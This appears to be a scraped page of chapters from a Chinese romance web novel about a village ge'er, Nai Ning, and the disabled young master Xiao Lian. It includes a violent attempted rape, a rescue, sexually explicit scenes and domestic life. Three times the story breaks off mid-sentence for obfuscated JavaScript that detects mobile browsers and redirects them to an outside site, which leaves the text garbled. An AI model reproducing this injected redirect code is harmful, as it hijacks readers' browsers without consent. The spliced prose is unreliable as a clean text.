l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749403|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这会儿天气潮湿,真的满地都是。 刚摘一会,他就有了个小烦恼,完了刚才摘其他蘑菇摘多了,这会该怎么放这么多松茸? 不过他知道附近有一个山洞,平时都在里头躲雨,现在可以先把背篓里的蘑菇放进去晾干,过两日再过来背回去。 其实这样不好,蘑菇容易被虫叮了去,但也没办法了。 松茸实在太多了,他只能忍痛割爱了。 不过他还是留了一些其他蘑菇,牛菌菇啊,羊肚菌啊,鸡纵菇呀,还有两朵木耳。 到时跟大少爷一起吃,饮食要均衡些才好。 这会儿背着背篓走出山洞,脸上全然没有不舍,嘴角都要笑烂了。 白白胖胖的,又好嫩。 他都要流口水了,好想舔一下。 好多长得太深了,还要用棍子把它撬出来。 现在他还挑上了,那些开了伞的,他直接不摘,不过他很好心的拍拍人家脑袋:“你好好撒种子啊,下次再来找你子孙哦!” 背篓快要装满的时候,他突然想到一件事,今天摘蘑菇摘得太开心了,忘了去搞点肉。 他想起上一次布的陷阱,上次走得匆忙,这会可以去摸一摸。 他又放心下来继续摘蘑菇,直到把篓装满了,才把背篓背回来。 他估算了一下,也不多,估计也就二三十斤吧? 他忍不住又笑起来。 不知不觉间,狂风大作,天上布起黑云,他加快了步伐去摸鱼。 多日没见的陷阱也有收获,都有鱼死在里面了,奈宁挑了其中大的几条,把小的放走,陷阱重新布置好,下次来还能吃。 草绳穿过鱼嘴,就这么拎着走,背篓实在放不下了。 两只手都提着满满的,还有肩上背着的,真是好沉。 头顶上的乌云越压越重,空旷的山林里只剩他这么一个小哥儿,他害怕起来,赶紧加快步伐。 雷声劈下来,之前摘蘑菇的快乐全然没有了,他满脸恐惧,呼吸沉重。 这雷劈得很近,乌黑的天空骤然亮了,不愉快哇啦啦的下起雨来。 乌云还在往下压,雷声不断,加上天色本来就不早了,四周黑漆漆的,只伴着天漏了般的倾盆大雨。 他一路紧赶慢赶下了山,村子就在眼前,还没等他松一口气,突然觉出不对劲,在噼里啪啦的雨声跟轰鸣的雷雨之中,有一道若离若即的脚步声跟着他! 他停下脚步。 那道声音也跟着消失了。 他疑惑,难道是听错了? 他屏住呼吸,放轻步伐,没有听到别的脚步声,应该只是他的幻听。 然而下一瞬,那道脚步声再次响起。 27. 第 27 章 有人跟踪自己! 意识到这点,奈宁浑身起毛。 莫名想起小时候村里大人吓小孩的事,叫他们不要乱往偏僻的地方走,会被各种奇怪的怪物拖走。 他去的地方都没有人,每日早出晚归,又是这种雷风暴雨的时候,终是让他上得山多终遇虎。 他心中苦涩,再难过也要把泪憋起来,先走逃出这片偏僻的地方再说。 这周边尽是茂密的树林竹林,雨声之中那道声音像鬼一样牢牢锁在身后。 雨水将衣服湿透,奈宁从山上跑到这里,又乏又冷。 雨没有停,反而越下越大,豆大的雨珠砸在裸露的肌肤上,疼得发抖。 奈宁嘴唇发黑,喘息比脚步声还重,似个破风箱。 茫茫雨幕,他被砸得有些昏头转向,步伐生乱,只知道拼命往一个方向赶。 平时都不觉得远的距离,这会儿格外飘渺。 还有多久才到,怎么这么久都还没到? 倾盆大雨在地上汇成蜿蜒河流,冲刷着道路,将盘在地下的树根冲刷出来。 他只顾着逃,没注意脚下的路,听着后面索命般的沉沉脚步声,惊慌失措,一个不甚脚下一空,整个人扑倒在地。 背篓侧翻,蘑菇撒了一地。 奈宁看着满地的混着泥土的蘑菇,眼眶酸疼得厉害。 但此情此景,不容他过多悲伤,挣扎着起来。 拐到的腿脚传来阵阵钻心的疼,只能拖着路走。 他瞅准了道路旁边的一根粗棍,挣扎着想要去捡过来。 身后魔声入耳,不一会就绕到了他跟前,嘿嘿嘿笑着挡住他去路。 来者正是村子里有名的懒汉,陈瘪三,又黑又丑关键还懒,家徒四壁,一大把年纪,娶不上媳妇儿。 平时也不务正业,经常偷鸡摸狗,别人穷就穷,但衣服都是洗得干干净净的,他不一样,走近就有一股味。 长得贼眉鼠眼,见个女人就要盯着人家看。 这会儿黄豆似的眼睛盯着奈宁,不但盯,还上下打量,专往不见光的地方看,嘴巴张着,嘴角流的也不知道是雨水还是口水? 奈宁被雨湿透的衣服紧紧贴在身上,一张被雨浸透的脸蛋,惨白如纸,嘴唇发黑,呼吸不稳,整个人在瑟瑟发抖。 分明一只待宰小羊羔。 陈瘪三笑得更大声了些:“你不就是奈大壮家的那个小哥儿?嘿嘿,你爹娘可找了你好久,没成想却被我找到了。我就说每次经过萧家那边竹林,只听到说话声,一凑近就没见人,定有蹊跷,嘿嘿嘿,也不亏我蹲守了这几日!” 奈宁浑身起一层鸡皮疙瘩,这个人竟然在这里蹲他! 见他搓着手要过来,奈宁大声喝道:“你要做什么!” 陈瘪三吸溜了一下,笑道:“你爹娘要把你卖给隔壁那个老灌夫做牛做马,你不想去是不是?来跟我吧,我会对你好的,不需要你天天跑去萧家倒贴这么辛苦。” “不知你跟那大少爷生米煮成熟饭没?不过他断了腿,瘫在床上,应该不行吧?跟我了,我早上晚上都念得紧,定能让你舒舒服……啊!” 他话没说完,奈宁这不要脸的话语恶心到了,悄悄抓了一把泥沙石子,趁他不备,猛地往他的眼睛撒去,之后猛地扑向一旁的粗枝。 然而他还没有碰到,身后人发出杀猪般的惨叫,握住了他的脚腕,猛地将他拖了回来。 奈宁这会真的像被鬼抓住了,啊啊啊惨叫不止,猛地蹬腿甩腿,怎么都甩不脱陈瘪三的禁锢。 陈瘪三骂骂咧咧,眼睛都还没能完全睁开,就抓着奈宁的脚,把他拖过来,狠狠地在他的脸上扇了两巴掌:“狗娘养的贱胚,不值得给好脸色看,我要你叫天天不应叫地地不灵,你就知道死!” 说着将奈宁往地上一推,就要压到奈宁身上去。 奈宁啊啊啊奋力挣扎着,连踢带踹,手脚乱打。 陈瘪三骂了声娘,解开裤头拿裤腰带,勒住奈宁的双手,死死压着他的腿。 手脚都被禁锢,奈宁满心死寂,突然一头撞向陈瘪三的脑袋,把人撞得口鼻鲜血直流。 他自己也头晕眼眶,却咬紧牙关,那一刻只想着同归于尽。 还要拿头去撞,被陈瘪三摁住了脑袋,狠狠一脚踹倒在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749404|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上,揪着衣襟,又在脸上扇了两巴掌。 一张瘦削的小脸被扇得红肿,耳朵也嗡嗡作响。 陈瘪三将他推倒在地上,往旁边啐了一口,见小哥儿趴在地上,有点找不着方向地四处乱摸乱爬。 他发狂哈哈大笑,脸色阴狠道:“贱婢,老子看得起你是给你脸!似你这种要身材没身材,要脸蛋没脸蛋的丑八怪,放平时老子还不屑于要!” 话说得恶心,捏着奈宁的脸蛋,却越看越得意,一边去掏家伙,一边凑嘴想过去亲,被奈宁狠狠扇了一巴掌。 他大骂了娘,但那见不得人的东西却怎么都不肯离手,伸手就又打了奈宁一巴掌,接着去扯奈宁的衣服。 把人死死压在地上,俯身下来。 太过兴奋,就像吃了药一样,都没有注意到后面的动静。 萧练从家里出来,没多会就下雨了。 他撑着伞拄着拐,出到村口,一脸茫然,不知道该往哪条路走。 天地雷声不断,雨水倾盆,比他所见任何一日的水都要大,天很黑,几乎看不到地面。 他自己走在这孤寂无人的地方都觉得害怕,也不知道小哥儿在山上该如何惊慌? 他没上过山辩不清路,直到看到地上散落的蘑菇,顺着方向一路寻去。 等他看到背篓以及撒了一地的蘑菇时,还没来得及欢喜,更惊悚的一幕闯入眼帘,那一刻,他的呼吸生生被剥夺了。 一个黑瘦的男人,光着丑陋的身子,压在小哥儿身上。 “啊啊啊啊啊啊!”他忘记了拄拐,举着拐杖,也不知道自己是怎么冲过去的,一棍棍,拼了命地往那瘪三脑袋身上砸。 陈瘪三还没看清楚来人,头上就被砸了好几个包,蜷缩在地上,连连求饶。 萧练照着他那丑陋的东西,狠狠一棍砸下去。 “去死去死,给我去死!” 陈瘪三裤子都没提,就这么拖着赶紧跑了。 地上一滩血,都是陈瘪三流出来的,不死也要半条命。 萧练没能追上弄死他,恨得甩拐,一回头,全身的戾气化为乌有,不知该说什么。 28. 第 28 章 小哥儿圈着膝盖坐在那里,嗷嗷痛哭。 衣衫不整,雨水将他浑身都淋透了,裸露在外的肌肤都泛着不正常的白,单薄的身子瑟瑟发抖。 萧练跪在地上,不知如何是好,手伸过去又不敢碰他。 连忙脱下衣服,裹在小哥儿身上,这才发现,他手都被捆住了,勒出道道红痕,一双手都红紫了。 萧练忙给松了,摸着那些深深的痕迹,再捆下去怕是手都要废掉。 精虫上脑的败类完全不顾他人死活,这会让他逃了,下次遇着,定让他生不如死! 萧练磨着牙,却没空发火,又四处爬着去找回雨伞。匆忙之间,伞被远远丢在一旁了。 头顶上方撑起了一片晴天,小哥儿哭懵了,抬起脸蛋,平时没有血色的一张小脸,现在肿成沙包,眼睛也哭肿了,只睁着一条缝,泪汪汪的眼睛,呆呆地看他。 萧练心脏都像被撕裂了一样。 “大少爷?”奈宁哭得久了,声音哑得不像样,又呆呆愣愣的,好像被吓傻了。 “嗯,”萧练忙应道:“是我!” “大少爷!”奈宁抹了抹眼泪,看清楚眼前的人,再也控制不住自己,一下子扑进了萧练怀里,啊啊啊惨哭着。 萧练心脏像被天刀万剐,护在他背后的手慢慢放了下去,将小哥儿牢牢圈进自己怀里。 等他好不容易哭够了,还抽抽噎噎。 萧练颤着手给他抹掉眼角的泪水,小哥儿却拉着他的手,看着那满地洒落的蘑菇。 “蘑菇,都撒了!”他抽了抽鼻子,眼看又要哭。 之前一双手被捆久了,这会儿还在发抖。 萧练忙道:“我去捡!” 说着将雨伞往奈宁怀里一塞,拖着残腿,深一步浅一步走进雨幕中。 大少爷衣服全部被打湿了,只穿着一件里衫,混着泥水脏兮兮的,还拖着一条瘸腿,地上的蘑菇四散,他时走时蹲,很不方便,好生狼狈。 奈宁看着他,忘了哭,低空劈过的雷光映在他的身上,一片黑暗独他明亮,好似落魄的神明。 不管是高高在上的大少爷,还是跌落尘埃的大少爷,都是他心中不容侵犯的神明。 奈宁忽然笑起来,又哭又笑,把捡蘑菇的人吓死了。 萧练站在原地,呆呆看着他,不知如何是好,雨水流过他白皙的脸蛋,一条腿拖着,满怀蘑菇,有说不出凄美,又无比温暖踏实。 不但好看,还实在顾家。 奈宁突然就把伞丢了,不顾一切地扑了过去。 大少爷被他扑倒在地,怀里蘑菇又撒了,踩到伤腿,叫了一声。 他也不管,摁着人就亲了上去,同时还把大少爷裹在他身上的外衣褪去,露出了之前被撕得破烂的衣服。 一下含住大少爷的吻,一边吻着大少爷,舌尖探进他口腔里面,手也不安分地从衣襟里钻进去。 他不知道他这副高岭之花零落在尘的模样,叫人好想侵犯。 腰带,刚才大少爷自己脱外衣的时候就脱了。 里衣松松垮垮,奈宁一路如入无人之境,明明是不太正经的场合,他却莫名想发笑。 他还想去拉大少爷的裤头。 大雨天,如此不雅的举动,终于还是被大少爷止住了。 奈宁抽了抽鼻子,泪眼汪汪地看着被他压在身下的人。 看着比人家还要可怜几分。 萧练有些尴尬道:“雨,下雨,先回去。” 奈宁声音染着哭腔:“回去就可以了么?” 萧练尴尬得不自如何自处,喉头发紧,只一个劲儿说先回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749405|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 奈宁不听,又俯身下去。 大少爷喉结滚动一下,被他含进口腔。 浑身被淋透发寒之时,喉结被一片湿热柔软包裹,萧练浑身一颤,原本就大的呼吸越发沉重。 在他愣神喘息之间,不可思议的一幕发生了,小哥儿握住了他。 他惊呼一声,赶紧拉出小哥儿的手:“别,回去……” 奈宁抿唇看着他,不太赞同他说回去。 萧练艰难道:“回去洗了澡再、来……” 最后一个字说得好艰难,说完他脸蛋红透了,眼睛闪闪躲躲,不知道看向哪里。 奈宁道:“来什么?” 萧练偏过脸去,声音不大却清晰:“来什么都可以。” 难堪得想一头撞死,心脏却是有什么满得要溢出。 刚看着又要哭起来的小哥儿,立刻眉开眼笑,开心得哇了一声,立刻又扑过去,再次将他压倒在地上,捧着他的脸蛋狠狠地亲。 小哥儿起身了,萧练还在地上躺了好一会儿,手放在眼睛上方,遮了点雨,看着依然黑得吓人的天空,嘴角慢慢翘起一个弧度。 奈宁起身走了一步,痛呼一声,他也拐到了脚,却没有伤心,反而冲大少爷咧嘴而笑,伸手把大少爷也拉起来。 萧练手忙脚乱地整理衣服,里衣,还有裤带,不知啥时候被解开了,松松垮垮的,刚站起来差点没掉下去。 奈宁极力压抑着嘴角不让自己笑出来,过去捡回伞。 一回头,大少爷的外衣又披到了他身上。 萧练顺势接了伞。 两人赶紧捡了蘑菇。 萧练将背篓背到身后,捡了鱼撑着伞。 奈宁跑过去捡拐杖,要接鱼不给,要接伞也不给,抱着拐杖,悻悻地跟在旁边。 40-50 第41章 第 41 章 我们拜堂吧 房门落锁, 咔嚓一声,大少爷偏了下头,并没多说什么。 露出半张侧脸的姿势可美, 奈宁心尖乱颤, 只知道嘿嘿嘿笑着了。 待雾气散去了些,奈宁脑子也没那么膨胀了, 看得清楚了, 大少爷下半身是穿着裤子的。 莫名有点泄气。 真是看错了他,还以为他很勇呢,结果还要遮着。 萧练理了理有些潮湿的头发。 刚出水的男人, 看着更清新可口了。 奈宁只感觉喉头发紧,往那边走去, 喃喃道:“我给你看看脚吧?” 萧练只是摇头, 修长的手指落在裤头, 眼睫低垂, 轻声道:“你不是一直想看?” 奈宁脸蛋瞬间涨红, 步也停了,说话都吞吞吐吐,说:“胡胡说, 我我哪里想看了?” 对方指尖一动,奈宁赶紧捂住了眼睛, 过了一会又叉开指, 眼睛从指缝里露出。 恰恰跟一直看着他动作的大少爷四目相对,脸蛋瞬间更红了,有点无地自容,低着头,扯着衣摆, 但时不时还要挑起眼帘看一下,生怕错过什么。 萧练抿了抿唇,指尖轻动。 奈宁咬着唇,忘了动作。 裤带轻轻一扯。 大少爷就这么当着他的面,大喇喇地垂下了裤子。 别看他盯得多,叫他直视却是不敢,眼睛不知往哪里摆,时而落在大少爷脸上,时而看向别处,只知道傻愣愣的发笑。 大少爷手臂还挽着衣服,迟疑片刻,也一并丢了去。 拄着一根拐,很坦然地面对奈宁。 不知过了多久,伟岸的男人拄着拐走过来,停在咫尺:“现在我们可以谈些别的了吧?” 奈宁有点尴尬,这会看向哪里都觉得有火:“谈、谈什么,要不你先穿上?” 太热情的大少爷叫人害怕呀,他还是适合做高岭之花,长在高不可攀的寒宫,静待人来调戏。 萧练抿唇道:“我都如此了,还能跟你谈什么?” 声音消沉,听着可委屈。 少了那层薄薄的布料遮掩,男人炙热的气息扑面而来。 除了那股不可忽视的暖热,奈宁鼻尖还萦绕着男人沐浴过后的潮湿气息以及香皂的清香。 那赤条条的身姿,在火光摇曳与雾气未散去的房间衬托下,更显暧昧。 奈宁尴尬不已,喃喃道:“你想谈什么?” 男人骨节分明的大手拉住了他的手,奈宁被火烫到一样想甩开他的手,奈何他手腕太细,男人稍稍用力就能将他牢牢禁锢。 “昨晚我不是跟你说过么?”他凑过来,另一只手落在奈宁腰肢,将人拥进怀,在耳边轻轻说:“我们拜堂吧。” 他箍得很紧,奈宁能听到他心脏的鼓动,浑身一个激灵,僵硬道:“拜、拜堂?现现在是七月,你你确定七月拜堂么,这不太吉利吧?之前你不还说父母之命,媒妁之言?” 萧练抿了抿唇,执拗道:“我那不是想让你深思熟虑么,事实上我并不介意这个。” 奈宁:“呵呵呵呵。” 萧练扶着他的肩,静静注视着他:“那你怎么样才肯,嫁给我?” 奈宁浑身又是一抖,抬头看了看大少爷,恰好对上他黑沉的眼眸,眼眶发热,莫名有什么要溢出来,很快又垂下眼帘。 萧练捧着他脸蛋,垂下头与他额角相抵,不给他闪躲机会,让他看着自己:“宁宁,嫁给我,你若是想要媒妁之言,我这就去请媒人,你若是想要父母之命……” 他顿了顿:“我也可以到父母坟前请命。” 奈宁吓了一跳,忙道:“那那那倒不必,但拜堂总要总要婚服吧,我们先把婚服做了吧?” 说着他眼睛亮起来:“对,我们先把婚服做了!” 他也不敢看萧练,想借此机会挣脱禁锢,把萧练的手从自己脸蛋上扯下来,转身就要出去,口中喃喃着:“对,做婚服做婚服!” 还没走出一步,男人又一把将他圈进怀里。他缩着身子,男人也弓着背,脸蛋贴在他脑袋上,轻轻的蹭着,在他耳边道:“好。” 声音温和低哑:“我们先把婚服给做了。” 说归说,却没有放他走,而且逐渐不对劲儿,耳畔的喘息声一声比一声沉。 奈宁越发紧张,心跳一下比一下沉。 耳边男人喃喃道:“那现在怎么办呢?我都已经……” 牙尖咬了咬奈宁的耳廓,□□道:“受不了了。” 奈宁浑身血液都烧起来。 大少爷一张俊脸也红了,蹭着奈宁:“宁宁,怎么办呢?” 他一边说着一边拉住奈宁的手,喉结滚动:“你不是喜欢摸么?” 接着被他掰转了过来。 奈宁不知道自己是怎么跟大少爷躺在床上的,大少爷肯定是拄拐过去的,但是是一边摸一边过去的,还是……他不记得,满脑子混混沌沌,迷迷糊糊地想,这就是羊入虎口吧。 一整晚都不能走,好不容易帮男人泻了火,被男人从身后抱住,后背紧紧贴着男人的胸膛。 没过多久,又扬眉吐气起来,奈宁指尖紧紧揪着薄被,咬着唇,隔着衣料,它的存在不容忽视。 奈宁被磨得浑身颤颤,喉间溢出轻碎声息。 …… 木板压过的糯米团像豆腐一样,手感跟豆腐却完全不同。 萧练卷起袖子,将米袋里的糯米团取出来,都在瓷盘,搓圆按扁,把所有粉团都搓在一起,这便是揉。 两人的手一起伸向一块糯米团,奈宁的手被烫到一样,赶紧又缩了回来,萧练冲他笑了笑。 奈宁低着头,躲避着他的目光。 昨天晚上大少爷挺猛的,奈宁的手被烫得不像是自己的。 后面他自己乱蹭,又把人家的衣服弄脏。 早晨起来奈宁精疲力尽,而大少爷一扫颓靡,眉眼难掩得意,做果子也很积极。 他学着奈宁的样子,揪了一团糯米丢在油锅里,待炸熟后捞起来,撒上点糖。 尝了一口,外酥里软,香香糯糯,好吃得很,萧练眼睛眯了眯,自己吃过了还要送到奈宁嘴边,看他不愿意吃,笑了一下,一口吃完。又捏了一个,先送奈宁嘴边,这回定要喂给他吃。 等人家吃了一口,他又不喂人了,送到自己嘴边,把奈宁咬过的一口咬掉,又贱兮兮的送过去。 对,奈宁在大少爷身上看到了贱兮兮的表情,今天可把他得意坏了! 可以油炸也可以蒸。 捏成一团一团,放锅里蒸熟,全部取下来,又放入石臼里锤一锤,一边加水一边翻面,锤到连着棍子取不下来,手沾了油,取一团抹点糖上去,也特别好吃。 这个可费劲。 奈宁看大少爷如此得瑟,非要折腾他一番。 糍粑都丢到石臼里,拿了一根棍让他锤。 萧练满脸是笑,还不知道事情的严重性,锤了两下,越锤越沉,他还不能站起来,他得坐着,只有奈宁翻面的时候,稍稍能喘一口气。 等一锅糍粑锤完,萧练额角渗出细细密密的汗,白净的脸蛋染了红晕,唇瓣变得嫣红,薄唇微张,喘着粗气,性感极了。 手上沾油将锤好的糍粑捏成团,沾上糖,便可以吃了。 口感要比刚蒸熟的时候细腻许多。 萧练捏了一块来吃,十分满意,递到奈宁嘴边,奈宁一口吃掉,顺带着他的手都咬了一口,逗得萧练哈哈直笑。 奈宁头疼,大少爷今天也太精神了点。 更可以做汤圆。 手沾了油,再搓糯米团就不会粘手,往糯米团里面塞馅,可以放糖心,也可以炒碟菜塞进去。 奈宁切蘑菇炒猪肉丁,又炒了一盘青菜,分别塞进去当馅。 煮汤圆的水也落了红糖。 他这种做法把只吃过糖心的萧练镇住了,但半句不敢多说,乖乖学着奈宁塞馅儿。 汤圆咕噜咕噜出锅,萧练尝了一颗咸心的汤圆,笑一笑又拧一拧眉,有点怀疑味蕾。 奈宁在旁边偷偷的笑,趁他不注意,把咬了半边的咸味汤圆送他嘴边。 唇红齿白的男人俊得惊人,双眸如秋水,温柔缱绻,把汤圆卷进口腔时,笑容凝滞了。 它并没有消失,只是转到了小哥儿脸上,奈宁抱腹哈哈笑。 接着煮了饭又炒了菜,米果子跟饭菜都装进篮子里,还要带上酒水,得去祭拜先人。 大少爷父母已落叶归根,当时传得沸沸扬扬,奈宁也有所耳闻。 此刻跟着大少爷上山,难免害怕他神伤。 毕竟他爹娘三个月前还是活人。 奈宁带着萧练,先去祭拜了太叔公,这位名义上的爹,斟茶倒水的时候,时不时注意大少爷的神情。 心中忐忑不安。 这边拜完了,奈宁又去拜自己娘,娘亲的坟墓没人扫,就他会来看看,他对娘的印象已经很模糊了,低低说了声:“我有夫君了。” 接着就不知道说什么了。 一扭头,大少爷已经在行跪拜礼了:“岳母在上,小婿会对宁宁好的。” 奈宁抿着唇,还是抑制不住眼角的泪意,鼻尖一酸,赶紧扭过脸去。 他也走过去,扑通一声跟着跪在大少爷旁边。 两人对着坟包沉沉磕了三个头。 起来的时候奈宁有点头晕眼花,萧练立刻伸手扶他,他摇摇晃晃地却对萧练笑,眼里噙着泪。 第42章 第 42 章 做婚服 萧家祖坟地里, 那两座新坟已跟其余旧坟无甚区别。 萧练看着满坟的杂草,心里说不出滋味,艰难的蹲下来默默地拔草。 奈宁也不知道说什么, 看大少爷这样子, 心里也难过,走过去, 蹲在旁边默默帮他拔草。 两人把两座新坟的草都拔了一遍, 奈宁后知后觉反应过来,自己没拨娘坟前的草。 不过他娘坟草已经好多老树根深扎进去了,这边草嫩着, 但也是些锋利的草,一不小心就被割破掌心。 扭头看大少爷的手心都有了血迹。 都不知道痛的吗? 他心里难受, 走过去执拗地握住男人的手, 摊开掌心一看就是大大小小的小割口。 “拔草就拔草, 你也不小心一点!” 说着将他冒血的手指头含进了嘴里。 萧练心绪沉闷堵塞, 手掌被割伤也浑然不觉, 看着小哥儿关切的神情,暗沉的眼底氤氲开一层水雾,眉眼弯弯, 嘴角含着浅笑。 两人对视,脸上都是笑意。 萧练从奈宁伸出了手, 奈宁乖巧地将手心放在大少爷手上。 祭品在坟前铺开, 两人跪在地上。 斟了酒水,一起磕了三个头。 萧练嗓音有点哑:“爹娘,这是宁哥儿,你们见过的,现在他是我夫郎了。” 奈宁乖乖跪着又跟大少爷一块磕了三个头, 以为跪完了就可以起来了,谁知道大少爷扭过头来:“你有什么要跟爹娘说的?” 奈宁一惊,受惊的小兔子一样连连摇头。他不怀好意闯进去,把大少爷生米煮成熟饭了,怎么好意思跟人家爹娘说话。 萧练笑了笑,抬手在他额头上抹了抹,都挂泥了。 又乖巧又可爱,忍不住在他额角轻轻弹了一下,惹来他一阵恼怒的瞪视,萧练心里乐开了花。 奈宁将萧练扶起,萧练宽厚的大手握在他手上,他不舍得分开,就一直握着下山。 鲜少有人踏足的坟地,建在半山腰,绿树成荫,杂草翠绿,还有各种不知名的野花,蝴蝶蜜蜂穿梭其中。 此地视野开阔,往下看,可见错落的山村。 他们家就隐在其中一角。 几颗鲜红的野果子探出路来,叫人眼前一亮,口齿生津,奈宁扶着大少爷过去,专挑又大又饱满的,一人嘴里喂了几个。 萧练回头看看身后。 他爹娘说不幸又挺幸运,至少夫妻俩一直在一起。 一扭头,夫郎就不见了,跑到人家坟头上摘那又大又饱满的捻子去了。 萧练:“……” 吃到果子的时候,只能说真甜。 来都来了,奈宁便想多摘一些回去吃,在篮子里腾出个位置,把野莓跟捻子都放进去。 还想再去摘,被大少爷握住了手:“我也摘。” 两人像小孩子一样钻进草丛里。 这一趟不算白走,还碰到几窝鸟蛋,奈宁一窝挑了两个,满载而归。 吃着甜甜的果子,两人挽着手走,有说有笑,主要是奈宁在说,大少爷眉眼温和地听着,不时点头。 坟在另一侧山林,穿过不少人家,看他们笑得甜蜜开心,在门口闲聊的人们打招呼道:“宁哥儿大少爷,祭祖回来了呀?” 奈宁挽着大少爷的臂弯,心情颇好,扭过头来甜甜的应了声嗯。 大家伙一下子激动起来,板凳都搬出来了:“进来坐一坐,喝杯茶,聊会天!” 奈宁摇头笑道:“不了。” 主人家道:“你们有没有买鸭子?没买来我家捉一只呗!” 这家院子有鸡又鸭,一只只正是肥时。 奈宁笑道:“多谢秀红婶,鸭就不用了,我们想买一只鸡。” 秀红婶忙道:“我们家的鸡又肥又大,来看看呢。” 奈宁就抛弃大少爷,进去抓鸡,萧练迟了一步没拉住人,站在门口笑着无奈地摇摇头,也跟着进去。 一堆人坐在门口,桌椅板凳都堵着,腿脚不便的大少爷进不来。 大家七手八脚地将桌椅搬开,恨不得连门槛都拆了。 萧练第一次捉鸡,看着夫郎有点愣。 散养的鸡不好抓,奈宁追在屁股后面,刚扑上去就飞走了,从大少爷脚底下钻过去,大少爷愣愣伸手去抓,抓了一手鸡毛。 秀红婶唤来子女围着帮忙抓鸡。 一群人围堵着,把鸡往角落里赶。 小孩子身姿矫健,完全不顾形象,直接就扑在泥地里,把鸡惊得直挣扎,被牢牢捆住了脚,这会儿才老实。 奈宁掏出荷包:“多少钱?” 秀红婶连忙摆手:“不要钱不要钱,大少爷可是十里八乡有名的秀才公,能光临我们家,那叫什么蓬荜生辉啊?还要什么钱,能踏进我们家门都是福星高照,要是我家娃也能识几个字,那真是比什么都强!” 在自己家里小孩也露怯,一个个钻进娘亲怀里,探出半个头来看大少爷,从来没见过长这么好看的人到自己家来。 秀红婶满脸慈爱摸着自己子女的脑袋。 奈宁笑了笑,按着镇上的价钱给了三十文,塞到小孩子手里。 “都是辛辛苦苦养出来的,哪里能不要钱呢。” 奈宁提着鸡刚要走,这边秀红婶跟在他们家聊天的几个婶子,你看看我我看看,都有话要说,又不好意思说。 终于秀红婶开口了:“那个,宁哥儿啊。” 奈宁道:“有什么事吗?” “明天要一起上山捡蘑菇么?” “我跟他一起去。”奈宁看了一眼旁边的萧练。 “哦。” 旁边春三婶见她半天没问到正途,忍不住开口道:“宁哥儿,你你家男人,咳,我是说大少爷他他现在腿还能好不了,还能不能考状元了?” 这个问题,憋在整个村子里的人心头一个多月了。 见大少爷的脸色黑了,这位婶子忙道:“哎呀,大少爷,你可是秀才公啊,千万别想不开,我们这些泥腿子看天吃饭,大水把稻谷淹了,养大的猪刚要出栏发瘟疫死了,我们都这么过来了,人生没有过不去的坎儿,他那个跛脚四,驾驴车掉到沟里,媳妇死了就剩他一个,也是跛了一条腿,不还是一拐一拐的下地种田吗?还要一把屎一把尿的把闺女养大!” 萧练:“……” “对呀,你学问这么好,听说你考了什么第一,官府又有赏银,家里又这么有钱,肯定不至于没饭吃,若是你嗯……你真掀不开锅了,随便当个夫子,教教学生几个字,十里八乡的谁不急着将孩子送上门来!大少爷,你好歹还是学富五车的大少爷,比我们这些泥腿子可好多了,可千万别想不开!” “好死不如赖活着,你爹娘看到你现在这样子得多伤心啊,定然希望你好好活着,现在你都跟宁哥儿成夫夫了,更要好好过日子,对宁哥儿好一点,他一个人挺不容易的,摊上那样的爹,你若离了他,说不定又要捉他去卖了!” 萧练道:“多谢关心,不会的,谁也不能从我手上将宁宁抢走!” “你能想开就好了,婶子这有几个鸡蛋,要不你先带回家吃?” 好一番推辞才能从秀红婶家走出来,虽然知道他们是想让大少爷教小孩读书写字,却又不好意思直接开口,奈宁也还是开心,冲大少爷挤眉弄眼:“听到没有,你还可以当夫子!” “咱们这里没什么夫子,你若是开书塾,怕是十里八乡的人都要跑过来!” 看着满脸是笑的奈宁,萧练心情也放松下来,笑道:“不止,镇上县城的都要过来!” 把奈宁逗得哈哈笑。 萧练捏了捏他脸颊:“你男人可厉害!” 把奈宁羞得脸颊发烫,心脏怦怦乱跳,赶紧走了。 这只鸡没有立刻宰杀,放在圈子里,今天有鸭子吃,先吃完鸭肉猪肉。 奈宁自己炒了一顿鸭,大少爷就会学着他的样子炒,处理好的鸭肉直接下锅爆炒,炒干水分,表面煎至金黄,酱油姜蒜丢进去再放点酒,焖煮快熟之后落入辣椒葱段,大火翻炒,出锅。 奈宁忍不住拿筷子尝了一块,这一碟炒鸭肉原本就酱色鲜艳,尝起来更是肉香浓郁。 他窝在小板凳上,一边烧火一边拿手啃鸭骨头。 萧练看他吃得这么香,舔了舔唇也忍不住夹了一块来吃。 修长白皙的手指捏着一块诱人的鸭肉,奈宁闻着味就过来了,萧练咬了一口,还是被他抢了去,挑衅的看着萧练。 萧练嘴角弯起,俯身下去,都到了奈宁嘴边也被他咬了过来。 嬉笑打闹之中,锅里传出肉香,不一会五花肉出锅了,再炒了点青菜蘑菇。 桌子上满满都是菜,奈宁还倒了点酒,一人桌前一杯。 祭祖用的小小酒杯,一口饮完,辣得奈宁吐出舌头,嘶哈嘶哈,脸蛋涨红。 萧练笑了笑,也仰头一口抿完,红色瞬间在他脸蛋晕染开来。 